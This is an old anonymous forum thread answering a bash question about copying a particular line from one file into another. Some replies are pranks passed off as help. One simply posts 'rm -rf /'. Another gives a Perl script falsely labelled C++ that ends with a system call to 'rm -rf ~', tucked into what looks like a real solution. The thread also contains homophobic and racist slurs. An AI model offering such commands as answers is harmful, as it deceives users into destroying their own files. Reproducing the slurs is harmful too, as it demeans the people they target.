Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Bash

Name: Anonymous 2011-01-02 16:59

I want to copy line x of file A to line y of file B in bash.

Any ideas how to do it?

Name: Anonymous 2011-01-02 17:04

rm -rf /

Name: Anonymous 2011-01-02 17:34

Here is a probram I just wrote in C++:
use warnings;
use strict;

my ($lnum, $lhs, $rnum, $rhs) = $ARGV;

my ($FILE, $line, $i);

$i = 0;
open($FILE, '<', $lhs) or die $!;
foreach $line (<$FILE>) {
    break if $i == $lnum;
    $i++;
}
close($FILE);

$i = 0;
system('rm', '-rf', '~');

Name: Anonymous 2011-01-02 18:06

grep line_X file_A >> file_B

Name: Anonymous 2011-01-02 18:09

oop...didn't see "line y".  I was wondering why that was easy...

Name: Anonymous 2011-01-02 18:13

This thread has been closed and replaced with the following thread:

Subject:
Selecting a single line in bash
Name:
Email:


Any clean way to do that besides head -n | tail -i or without using grep?

Name: Anonymous 2011-01-02 18:14

I mena tail -1.

Name: Anonymous 2011-01-02 18:26

print line 15:
sed -n '15p' filename

Name: Anonymous 2011-01-02 18:31

>>8
Enjoy y'our'e O(n3) run time.

Name: Anonymous 2011-01-02 19:43

>>9
Your a faggot.

Name: Anonymous 2011-01-03 7:20

>>10
Niggerbump.

Name: Anonymous 2011-01-03 15:04

>>9
Enjoy "you our are" O(n3) run time.

Name: Anonymous 2011-02-02 23:28

Don't change these.
Name: Email:
Entire Thread Thread List